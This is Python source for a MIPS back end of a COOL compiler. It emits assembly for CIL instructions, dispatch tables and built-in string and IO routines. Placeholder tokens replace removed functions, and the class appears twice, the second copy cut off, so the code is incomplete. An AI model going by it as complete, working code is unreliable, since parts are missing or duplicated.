self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n 